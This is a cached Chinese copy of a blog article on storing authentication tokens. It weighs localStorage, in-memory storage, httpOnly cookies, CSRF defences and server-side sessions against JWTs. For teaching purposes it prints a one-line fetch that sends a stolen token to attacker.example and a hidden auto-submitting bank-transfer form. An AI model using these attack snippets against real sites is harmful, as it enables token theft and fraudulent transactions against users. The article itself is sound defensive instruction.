现代应用中进行身份验证的最佳方式是什么
摘要
文章讨论了在localStorage与cookies中存储身份验证令牌的安全影响,强调了XSS攻击的风险,以及对于敏感应用使用httpOnly cookies的好处。
暂无内容
查看缓存全文
缓存时间: 2026/07/11 07:22
# 现代应用中最安全的认证方式是什么?
来源:https://neciudan.dev/most-secure-way-to-store-auth-token
问十个前端开发者登录令牌应该存在哪里,你会得到四个答案外加一场争论。而且因为每种方案解决的痛点不同,争论始终没有定论。那么,我们一次性说清楚:存储令牌有哪些选择,哪些最安全,各自适用什么场景。我在我的免费前端安全课程(https://neciudan.dev/master-security)里对 XSS 和 CSRF 有更深入的讲解,但这里我想单独拆解认证问题。
## 基础
我写过这样的代码,你可能也写过。每一篇“花一个下午构建全栈应用”的文章和教程都是这么写的:用户提交登录表单,服务器校验密码后返回一个令牌。你把令牌存到 localStorage 里,之后每个请求都带上它:
```javascript
async function login(email: string, password: string) {
const res = await fetch('/api/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email, password }),
});
const { token } = await res.json();
localStorage.setItem('token', token);
}
async function fetchProfile() {
const res = await fetch('/api/me', {
headers: { Authorization: `Bearer ${localStorage.getItem('token')}` },
});
return res.json();
}
```
这个令牌通常是一个 JWT。JWT(JSON Web Token)是一个由三部分用点号分隔的字符串:头部、载荷和签名。载荷包含用户信息,比如用户 ID 和可能还有角色。签名是一个印章,证明你的服务器确实生成了这个载荷,并且没人篡改过它。
JWT 流行的诀窍在于服务器收到令牌时的处理方式:它重新计算印章,检查是否匹配,然后信任载荷内容,无需再查任何数据库。用户的 ID 就在令牌里面,有密码学担保,所以不需要读取数据库行就能获取用户 ID 或验证用户。人们称之为“无状态”。
公平地说,教程里的方法确实有效。它能在刷新后幸存,因为 localStorage 是持久的,也避开了所有 cookie 带来的麻烦。`Authorization: Bearer` 头还能跨域干净地传输,所以一个域上的应用可以方便地调用另一个域上的 API。
JWT 能用,但我们写的代码恰好有一个问题:我们把 JWT 存哪了。
## XSS 对那个令牌做了什么
localStorage 有一个决定性的特征:页面上任何 JavaScript 都能读取它的全部内容。哪些 JavaScript 会跑在你的页面上?当然有你自己的。但还有你安装的每个 npm 包,以及这些包再引入的每个包。你的分析脚本,你的客服聊天组件,浏览器扩展注入的任何东西。还有——终有一天——攻击者的代码。
最后那个就是 XSS。跨站脚本攻击是指攻击者让他们的代码在你的页面上运行。通常是些不起眼的途径:评论字段没有转义就把用户文本当 HTML 渲染,URL 参数直接反射到 DOM,或者某个依赖在补丁版本里夹带了恶意代码。当这种情况发生时,令牌离被窃就只差一行代码:
```javascript
fetch('https://attacker.example/collect', {
method: 'POST',
body: localStorage.getItem('token'),
});
```
攻击者现在拿到了你的 bearer 令牌,而“bearer”就是字面意思(不是来自美剧《熊家餐馆》):谁持有它,谁就是你。服务器检查印章,看到有效的载荷,然后放行。他们不再需要你的浏览器,不需要你的标签页开着。他们把这串字符粘贴到自己机器上的脚本里,你的 API 就会把他们当成你,从地球上的任何地方,直到令牌过期(大部分情况)。
如果你给那个令牌设置 7 天有效期,就像许多教程做的那样,那就等于给了他们一把能用一个星期的万能钥匙。你无法撤销它,因为“无状态”的要点就是服务器什么都不查。攻击者接下来做的一切都在他们自己的基础设施上,按他们自己的节奏进行,你完全看不见。
## “如果对方能运行 JS,你已经完了”
有一种常见的说法:如果攻击者能在你的页面上运行 JavaScript,他们就已经可以做任何事了——读取屏幕上的一切,从用户浏览器发起请求,利用浏览器附加的任何凭据。隐藏令牌改变不了什么。
前半句没错。保护令牌**不能**阻止 XSS。任何告诉你 HTTP-only cookie 可以“防止 XSS”的人,要么是搞错了,要么是在推销什么东西。
但我们要看看攻击者在每种情况下受到的限制,因为两种情况并不相同。
如果攻击者能**读取**令牌,他们就能把令牌带回家。攻击在关闭标签页后依然有效,从他们自己的机器上,按他们自己的节奏,在令牌的整个生命周期内都有效。
如果攻击者**无法**读取令牌,他们只能利用当前活动的会话。他们的脚本在受害者的浏览器内发起请求,只要那个标签页还开着。而且每一个请求都会落到你的服务器上,那里有你的速率限制、日志记录和欺诈检测。
一个是偷来的钥匙。另一个是只能在房子里面、在摄像头前、在主人离开之前行动的窃贼。两者你显然都不想要,但 XSS 漏洞最终总会发布。现实的目标是减少 XSS 漏洞出现的频率,并缩小其发生时能造成的破坏。安全领域的人称之为缩小爆炸半径。所以我们设定目标:把令牌放到 JavaScript 无法读取的位置。
## 尝试二:保存在内存中
第一直觉:完全跳过存储,把令牌放在一个普通变量里。
```javascript
let accessToken: string | null = null;
async function login(email: string, password: string) {
const res = await fetch('/api/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email, password }),
});
const { token } = await res.json();
accessToken = token; // 存在内存里,绝不写入磁盘
}
```
像这样的普通变量(存在于模块作用域中,不在攻击者可枚举的对象上)比 localStorage 更难获取。localStorage 是一个公开公告板,攻击者可以逐个键枚举。而一个散落的变量至少需要知道它存在且知道它的名字。
不过,“更难”并不等于安全。攻击者的代码运行在**同一个 JavaScript 环境**中,和你的代码一样。它可以替换 `window.fetch` 为自己的版本,等待你的应用附加 `Authorization` 头,然后在它经过时复制令牌。
而且你还为这个缩小付出了高昂代价。如果用户刷新页面,JavaScript 环境会从头重建。你的变量就没了,用户被登出。打开第二个标签页,它有自己的内存,自己的空 `accessToken`,根本不知道第一个标签页的存在。那边也登出了。
没人会发布一个每次刷新就登出的应用。所以你可以增加一个第二个、更长生命周期的凭据,它的唯一任务就是静默地生成新的访问令牌。这叫做刷新令牌。
但刷新令牌存在哪里?如果放在 localStorage 里,我们又回到了原点。攻击者会抓住刷新令牌,然后永远生成新的访问令牌。我们绕了一圈。JavaScript 可访问的存储无法安全地持有长期凭据。我们需要浏览器中一个 JavaScript 根本无法触及的位置。
## 尝试三:httpOnly cookie
Cookie 名声不好,主要是因为普通人只在同意横幅上见过它们。在那些横幅的胡闹之下,cookie 其实是一种小值,服务器要求浏览器存储它,然后自动附加到发送回该服务器的每个请求上。服务器通过响应头设置它,我们可以用几个额外的标志来保护它:
```
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/
```
每个标志都增强了安全性。
- `HttpOnly` 告诉浏览器:永远不要把这个 cookie 交给 JavaScript。`document.cookie` 不会显示它。没有脚本能读取它,包括 XSS 攻击中的攻击者脚本。浏览器只会在发出请求时附加它,这是它唯一会发生的事情。
- `Secure` 表示只通过 HTTPS 发送,这样它就不会在咖啡店网络中以明文传输。
- `SameSite=Lax` 表示当请求来自不同站点时不要附加这个 cookie(有一个例外我们马上会说到)。
使用了这个方案后,你的前端实际上变得更**简单**了,这是个令人愉快的惊喜。不需要管理令牌,所以登录只是一个请求,后续的请求只需要选择发送凭据:
```javascript
async function login(email: string, password: string) {
await fetch('/api/login', {
method: 'POST',
credentials: 'include', // 浏览器从这之后处理 cookie
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email, password }),
});
// 响应体中没有什么需要存储的。我们的代码里根本就没有令牌。
}
async function fetchProfile() {
const res = await fetch('/api/me', { credentials: 'include' });
return res.json();
}
```
但 `httpOnly` 阻止的是**数据泄露**,不是**滥用**。在 XSS 攻击期间,攻击者仍然可以通过原地发起请求造成破坏,只是他们不能拿着凭据走,在下周二从自己的笔记本电脑上使用而已。
## CSRF
你登录了银行账户。会话 cookie 存在浏览器里。在另一个标签页里,你打开了一个可疑的优惠券网站,它的页面悄悄包含了这个:
```html
<form action="https://bank.example/transfer" method="POST">
<input name="amount" value="1000">
<input name="destination" value="attacker-account">
</form>
<script>document.forms[0].submit();</script>
```
表单在页面加载时自动提交。请求发往你的银行,浏览器看到请求目标为 `bank.example`,就在 cookie 仓库里查找该站点的 cookie,找到你的会话 cookie,并自动附加。因为这就是 cookie 的约定:它们会自动跟着请求走。
你的银行收到一个请求,看起来像是你的真实会话,就像你点击了“转账”一样。钱没了。这就是 CSRF,跨站请求伪造:一个外部页面诱骗你的浏览器发送一个你从未打算发送的已认证请求。
注意,之前的 localStorage 版本对此免疫。外部站点无法读取你的 localStorage,所以它永远无法构建那个 `Authorization` 头。切换到 cookie 是把数据泄露问题换成了伪造问题。好消息是:伪造问题基本上已经解决了,有一系列文档完善的防御手段。
**主要防御手段是 CSRF 令牌。** 服务器在你的页面中植入一个不可预测的值,每个状态变更请求都必须把这个值发回来。优惠券网站上的伪造表单无法读取你的页面(同源策略阻止了它),所以它永远无法知道这个值,它的请求就会验证失败。
对于 API 驱动的应用,常见的模式是“双重提交”:服务器将令牌设置为一个可读的 cookie,你的前端在每次变更请求时把它复制到一个 header 中。服务器只有在 cookie 和 header 匹配时才接受请求。
```javascript
// 令牌在一个可读(非 HTTP-only)的 cookie 中,由服务器设置。
function getCsrfToken() {
return document.cookie
.split('; ')
.find((c) => c.startsWith('csrf_token='))
?.split('=')[1];
}
async function post(path: string, body: unknown) {
return fetch(path, {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCsrfToken() ?? '', // 在 header 中回传
},
body: JSON.stringify(body),
});
}
```
攻击者的伪造表单可以设置外出 cookie,但无法设置那个 header,因为浏览器只允许**你的** JavaScript(运行在**你的**源上)为请求添加自定义 header。
**第二道防线:SameSite。** `SameSite=Lax`(或 `Strict`)告诉浏览器不要在跨站请求中附加 cookie,这就能阻止那个隐藏的优惠券网站表单。但不要把它当成唯一的防线,因为它有两个问题。
第一个问题是 Lax 对顶级 GET 导航的例外。当用户点击一个指向你网站的链接时,Lax **会**发送 cookie,这能让邮件中的仪表盘链接使用户保持登录状态。然后我们需要确保:**GET 请求绝不能改变数据。** 如果一个 GET 可以转账,Lax 会愉快地伪造,攻击者也可以利用框架的“方法覆盖”把 GET 伪装成 POST。
第二个问题是“site”这个词。`SameSite` 保护的是同**站点**,而不是同**源**,这两者不同。`app.example.com` 和 `payments.example.com` 是同一个**站点**,所以 SameSite 在你自己的子域之间不起作用。
**第三道防线:检查请求来源。** 浏览器会在请求上打上发送页面无法伪造的 header:`Origin` 和较新的 `Sec-Fetch-Site`。你的服务器读取它们,并在变更路由上丢弃任何非同源的内容:
```javascript
// Express 中间件,放在所有变更路由之前
app.use((req, res, next) => {
if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(req.method)) {
const site = req.get('Sec-Fetch-Site');
if (site && site !== 'same-origin') {
return res.status(403).json({ error: 'cross-site request rejected' });
}
}
next();
});
```
所以首先是 CSRF 令牌,然后是 SameSite,最后是来源检查。还有一个技巧你可以用:`__Host-` 前缀。把你的会话 cookie 命名为 `__Host-session`,那么浏览器只有在满足以下条件时才接受它:必须是 `Secure`,没有 `Domain` 属性(因此锁定到确切的主机,没有子域),并且 `Path=/`。这是一个免费的安全提升,只需重命名一个 cookie,OWASP 称 `__Host-` 前缀的 cookie 是现有最安全的配置。
```
Set-Cookie: __Host-session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/
```
## 会话 vs JWT
到目前为止,我们比较了 localStorage 和 cookie,得出的结论是:带有三道 CSRF 防护栏的 cookie 是最安全的。那么,我们是不是应该直接把 JWT 存放在 cookie 里呢?
回头看最后一个代码示例。我把它叫做 `session=abc123`,而不是 `token=eyJhbGciOi...`。JWT 因其无状态性而赢得了一席之地。但无状态也有阴暗面,只有在出问题时才会显现。
JWT 在过期之前一直有效,而且没有办法撤销它。用户点击“登出”?他们手里的令牌仍然有效。用户在收到一封可怕邮件后更改了密码?旧的令牌仍然能用。你因为滥用封禁了一个账号?那个账号的令牌会一直工作到你设定的过期时间为止。
你必须通过服务器端的已撤销令牌列表来缓解这个问题,每个请求都要检查。慢慢读一遍:一个列表,在服务器上,每个请求都检查。你重建了服务器端会话,只是用了更大的令牌。
所以,那个无聊的 2005 年设计赢了。Cookie 持有一个长随机字符串,本身没有任何意义,服务器维护一行映射该字符串到用户:
```javascript
app.post('/api/login', async (req, res) => {
const user = await verifyPassword(req.body.email, req.body.password);
const sessionId = crypto.randomBytes(32).toString('hex'); // 不透明,无意义
await db.sessions.create({ id: sessionId, userId: user.id });
res.cookie('__Host-session', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'lax',
path: '/',
});
res.json({ ok: true });
});
```
这里一个重要提示:在登录时颁发一个全新的会话 ID,永远不要重复使用客户端给你的那个。如果你保留了浏览器中已有的会话 ID,攻击者可以在登录前植入一个已知 ID,然后在登录后继承这个会话(这叫做会话固定)。同样的方法也适用于会话获得更高权限的任何时候,不仅仅在登录时。通过 2FA 检查、提升为管理员、进入需要重新认证的区域、重置密码等:在这些时刻都要生成新的 ID。
登录只占三分之一,还需要在每次后续请求时将那个 cookie 转化回“这是简”:
```javascript
// 在你的路由之前运行。读取 cookie,找到用户,或者设为 null。
app.use(async (req, res, next) => {
const sessionId = req.cookies['__Host-session'];
```
相似文章
为何不依赖数据库进行身份验证
本文通过一个SQL注入场景,解释了将数据库作为API身份验证唯一可信源的危险,并介绍了Sturdy Statistics采用的防御深度方法:使用HMAC-SHA512与加密胡椒。
CLI 认证的正确方式
本文批评了许多 CLI 工具常用的 OAuth 回环认证模式,该模式在无头机器上无法工作,并提倡使用自 2019 年起已成为标准的设备码流等替代方法。
停止使用 JWT
一篇观点文章,反对在身份验证和会话管理中使用 JSON Web Token(JWT),并指出了其安全性和设计上的问题。
防止令牌窃取
本文讨论了信息窃取型恶意软件窃取身份验证令牌的问题,并探讨了Dirk Balfanz在15年前提出的一项提案:使用自签名客户端证书进行TLS双向认证,从而将令牌绑定到特定设备,即使令牌被窃取也无法重用。
@svpino: 早在2010年,我们还可以在.env文件中使用SSH密钥和API令牌。但现在不行了。我深入研究了…
文章认为,像SSH密钥和API令牌这样的静态凭证已不再足够,基于身份的访问是更好的替代方案。